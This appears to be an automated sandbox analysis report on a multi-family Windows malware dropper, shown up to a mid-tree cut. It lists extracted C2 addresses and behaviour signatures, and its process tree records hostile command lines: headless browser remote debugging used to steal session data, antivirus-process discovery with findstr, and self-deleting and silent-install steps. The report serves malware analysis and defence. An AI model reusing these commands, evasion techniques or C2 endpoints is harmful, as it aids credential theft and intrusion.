Overview

overview

10

Static

static

3

SecuriteIn...58.exe

windows10-2004-x64

10

SecuriteIn...58.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250905-en
  • resource tags

    arch:x64arch:x86image:win11-20250905-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/10/2025, 22:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe
  • Size 6.8MB
  • Sample251001-17hwssxrt2
  • SHA256 be68f32481e1551531f9c2ae9322870aa30e48224fb0ad1f4468b04ec07374c0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
4504945ad49a770b14c1f9c8a9446115navatarfbf543tr1pernncollectioncredential_accessdefense_evasiondiscoveryexecutionamadeydeerstealermilleniumratnjratrhadamanthyssalatstealerstealcvidarpersistenceratspywarestealerthemidatrojanupx

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • njrat

Version

  • <- NjRAT 0.7d Horror Edition ->

Botnet

  • Avatar

C2

  • conference-plate.gl.at.ply.gg:23974

Mutex

  • c68337afcf8816144d444134ab360aa1

Attributes
  • reg_key

    c68337afcf8816144d444134ab360aa1

  • splitter

    Y262SUCZ4UJJ

Extracted

Family

  • vidar

Version

  • 15.6

Botnet

  • 4504945ad49a770b14c1f9c8a9446115n

C2

  • https://steamcommunity.com/profiles/76561198783900411

  • https://telegram.me/rif0lm

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0

Extracted

Family

  • stealc

Botnet

  • tr1pernn

C2

  • http://178.16.54.175

Attributes
  • url_path

    /e9762ff07e084dbb.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • DeerStealer

    DeerStealer is a sophisticated information stealer written in C++.

    stealerdeerstealer
  • Deerstealer family
    deerstealer
  • Detect SalatStealer payload 1 IoCs
  • Detects Amadey x86-bit Payload 2 IoCs
  • Detects DeerStealer 2 IoCs
    stealer
  • Detects MilleniumRAT stealer 6 IoCs
  • Detects Rhadamanthys Payload 1 IoCs
  • MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Milleniumrat family
    milleniumrat
  • Njrat family
    njrat
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

    stealerrhadamanthys
  • Rhadamanthys family
    rhadamanthys
  • Salatstealer family
    salatstealer
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

    stealersalatstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • Downloads MZ/PE file 19 IoCs
  • Sets service image path in registry 2 TTPs 2 IoCs
    persistence
  • Uses browser remote debugging 2 TTPs 1 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 24 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses Microsoft Outlook profiles 1 TTPs 35 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 10 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 22 IoCs
  • Launches sc.exe 19 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 28 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 19 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 25 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2900
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3292
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:3260
        • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe
          "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe"
          2⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4852
          • C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe
            "C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"
            3⤵
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1200
          • C:\Users\Admin\AppData\Local\Temp\svchostam.exe
            "C:\Users\Admin\AppData\Local\Temp\svchostam.exe"
            3⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:3156
            • C:\Users\Admin\AppData\Local\Temp\10955810101\KDLebyo.exe
              "C:\Users\Admin\AppData\Local\Temp\10955810101\KDLebyo.exe"
              4⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:5812
              • C:\Users\Admin\AppData\Local\Temp\8f875d68fb\Yomeijce.exe
                "C:\Users\Admin\AppData\Local\Temp\8f875d68fb\Yomeijce.exe"
                5⤵
                • Executes dropped EXE
                PID:5908
            • C:\Users\Admin\AppData\Local\Temp\10955820101\RgOL2g3.exe
              "C:\Users\Admin\AppData\Local\Temp\10955820101\RgOL2g3.exe"
              4⤵
              • Executes dropped EXE
              PID:2852
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\run.bat""
                5⤵
                  PID:2368
                  • C:\Users\Admin\Documents\MyAdobeConfig\AdobeReader_82648.pif
                    "C:\Users\Admin\Documents\MyAdobeConfig\AdobeReader_82648.pif" "C:\Users\Admin\Documents\MyAdobeConfig\LovePdfConverted"
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Drops startup file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:5180
              • C:\Users\Admin\AppData\Local\Temp\10955830101\pOyfDXM.exe
                "C:\Users\Admin\AppData\Local\Temp\10955830101\pOyfDXM.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1224
                • C:\Users\Admin\AppData\Local\Temp\10955830101\pOyfDXM.exe
                  "C:\Users\Admin\AppData\Local\Temp\10955830101\pOyfDXM.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:1656
              • C:\Users\Admin\AppData\Local\Temp\10955840101\O5lJuAm.exe
                "C:\Users\Admin\AppData\Local\Temp\10955840101\O5lJuAm.exe"
                4⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:2328
                • C:\Users\Admin\AppData\Roaming\3boe6fz0y\svchost.exe
                  "C:\Users\Admin\AppData\Roaming\3boe6fz0y\svchost.exe"
                  5⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:1136
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
                    6⤵
                    • Uses browser remote debugging
                    • Enumerates system info in registry
                    • Suspicious use of FindShellTrayWindow
                    PID:5216
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f0,0x7ffd29a6f208,0x7ffd29a6f214,0x7ffd29a6f220
                      7⤵
                      • Checks processor information in registry
                      • Enumerates system info in registry
                      PID:2600
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=4068,i,11431893507426236024,1672228477963172222,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:11
                      7⤵
                        PID:4700
                • C:\Users\Admin\AppData\Local\Temp\10955850101\v3434.exe
                  "C:\Users\Admin\AppData\Local\Temp\10955850101\v3434.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:5892
                  • C:\Users\Admin\AppData\Local\Temp\10955850101\v3434.exe
                    "C:\Users\Admin\AppData\Local\Temp\10955850101\v3434.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:5856
                • C:\Users\Admin\AppData\Local\Temp\10955860101\NjtIeMV.exe
                  "C:\Users\Admin\AppData\Local\Temp\10955860101\NjtIeMV.exe"
                  4⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5728
                • C:\Users\Admin\AppData\Local\Temp\10955870101\2f34b5X.exe
                  "C:\Users\Admin\AppData\Local\Temp\10955870101\2f34b5X.exe"
                  4⤵
                  • Downloads MZ/PE file
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks processor information in registry
                  PID:3232
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                    5⤵
                      PID:5748
                    • C:\Users\Admin\Documents\C1o4DcvQ6R2k.exe
                      "C:\Users\Admin\Documents\C1o4DcvQ6R2k.exe"
                      5⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      PID:3124
                    • C:\Users\Admin\Documents\0sUnkdPHJQEr.exe
                      "C:\Users\Admin\Documents\0sUnkdPHJQEr.exe"
                      5⤵
                        PID:2916
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\10955870101\2f34b5X.exe
                        5⤵
                          PID:5708
                          • C:\Windows\system32\timeout.exe
                            timeout /t 5
                            6⤵
                            • Delays execution with timeout.exe
                            PID:5080
                      • C:\Users\Admin\AppData\Local\Temp\10955880101\ojjvpn1.exe
                        "C:\Users\Admin\AppData\Local\Temp\10955880101\ojjvpn1.exe"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:4156
                        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                          C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:6060
                      • C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                        "C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • System Location Discovery: System Language Discovery
                        PID:1060
                        • C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe
                          "C:\Users\Admin\AppData\Local\Temp\10955890101\XaUfT3G.exe"
                          5⤵
                          • Downloads MZ/PE file
                          • Adds Run key to start application
                          PID:3952
                      • C:\Users\Admin\AppData\Local\Temp\10955900101\nNM31RQ.exe
                        "C:\Users\Admin\AppData\Local\Temp\10955900101\nNM31RQ.exe"
                        4⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4924
                        • C:\Users\Admin\AppData\Local\Temp\is-CCB8Q.tmp\nNM31RQ.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-CCB8Q.tmp\nNM31RQ.tmp" /SL5="$D02B4,3425090,54272,C:\Users\Admin\AppData\Local\Temp\10955900101\nNM31RQ.exe"
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of FindShellTrayWindow
                          PID:2996
                          • C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe
                            "C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe" -i
                            6⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:5132
                      • C:\Windows\SysWOW64\msiexec.exe
                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\10955910271\V9Aq0Oo.msi" /quiet
                        4⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5312
                      • C:\Users\Admin\AppData\Local\Temp\10955920101\jeiriaP.exe
                        "C:\Users\Admin\AppData\Local\Temp\10955920101\jeiriaP.exe"
                        4⤵
                        • Loads dropped DLL
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        PID:5788
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c cmd < Translated.jar
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:5724
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd
                            6⤵
                              PID:5740
                              • C:\Windows\SysWOW64\tasklist.exe
                                tasklist
                                7⤵
                                • Enumerates processes with tasklist
                                • System Location Discovery: System Language Discovery
                                PID:5928
                              • C:\Windows\SysWOW64\findstr.exe
                                findstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"
                                7⤵
                                • System Location Discovery: System Language Discovery
                                PID:2964
                              • C:\Windows\SysWOW64\extrac32.exe
                                extrac32 /Y Dem.jar *.*
                                7⤵
                                • System Location Discovery: System Language Discovery
                                PID:1936
                              • C:\Windows\SysWOW64\findstr.exe
                                findstr /V "PETE" Occupational
                                7⤵
                                • System Location Discovery: System Language Discovery
                                PID:5196
                              • C:\Users\Admin\AppData\Local\Temp\763452\English.scr
                                English.scr D
                                7⤵
                                • Suspicious use of SetThreadContext
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:5544
                                • C:\Users\Admin\AppData\Local\Temp\763452\English.scr
                                  C:\Users\Admin\AppData\Local\Temp\763452\English.scr
                                  8⤵
                                    PID:1112
                          • C:\Users\Admin\AppData\Local\Temp\10955930101\nfEYuOz.exe
                            "C:\Users\Admin\AppData\Local\Temp\10955930101\nfEYuOz.exe"
                            4⤵
                              PID:5148
                            • C:\Users\Admin\AppData\Local\Temp\10955940101\hJFvGvb.exe
                              "C:\Users\Admin\AppData\Local\Temp\10955940101\hJFvGvb.exe"
                              4⤵
                                PID:4748
                                • C:\ProgramData\mybotos.exe
                                  "C:\ProgramData\mybotos.exe"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3984
                                  • C:\ProgramData\botoboto\mybotos.exe
                                    "C:\ProgramData\botoboto\mybotos.exe" {850A2B3D-27DA-4872-B725-C6EFA8D6256A}
                                    6⤵
                                    • Suspicious behavior: MapViewOfSection
                                    PID:2116
                                    • C:\Windows\explorer.exe
                                      "C:\Windows\explorer.exe"
                                      7⤵
                                      • Adds Run key to start application
                                      PID:4308
                              • C:\Users\Admin\AppData\Local\Temp\10955950101\yfUrA3L.exe
                                "C:\Users\Admin\AppData\Local\Temp\10955950101\yfUrA3L.exe"
                                4⤵
                                • Accesses Microsoft Outlook profiles
                                • outlook_office_path
                                • outlook_win_path
                                PID:3336
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s"
                                  5⤵
                                  • Drops file in Windows directory
                                  • Enumerates system info in registry
                                  • Suspicious use of FindShellTrayWindow
                                  PID:1192
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd2ae1dcf8,0x7ffd2ae1dd04,0x7ffd2ae1dd10
                                    6⤵
                                      PID:4176
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1944,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:2
                                      6⤵
                                        PID:4720
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --field-trial-handle=2016,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=1996 /prefetch:11
                                        6⤵
                                          PID:4812
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --field-trial-handle=2128,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:13
                                          6⤵
                                            PID:2872
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2912,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
                                            6⤵
                                              PID:3408
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3012,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=3024 /prefetch:1
                                              6⤵
                                                PID:3828
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3340,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:1
                                                6⤵
                                                  PID:3000
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3400,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:9
                                                  6⤵
                                                    PID:5652
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3440,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
                                                    6⤵
                                                      PID:3460
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\at0xt5aa.u1s" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3464,i,10305988758124862675,697021135489712504,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:9
                                                      6⤵
                                                        PID:1788
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg"
                                                      5⤵
                                                        PID:6052
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x250,0x7ffd29a6f208,0x7ffd29a6f214,0x7ffd29a6f220
                                                          6⤵
                                                            PID:804
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2012,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:2
                                                            6⤵
                                                              PID:4748
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --always-read-main-dll --field-trial-handle=1880,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:11
                                                              6⤵
                                                                PID:5948
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --always-read-main-dll --field-trial-handle=2228,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:13
                                                                6⤵
                                                                  PID:4844
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
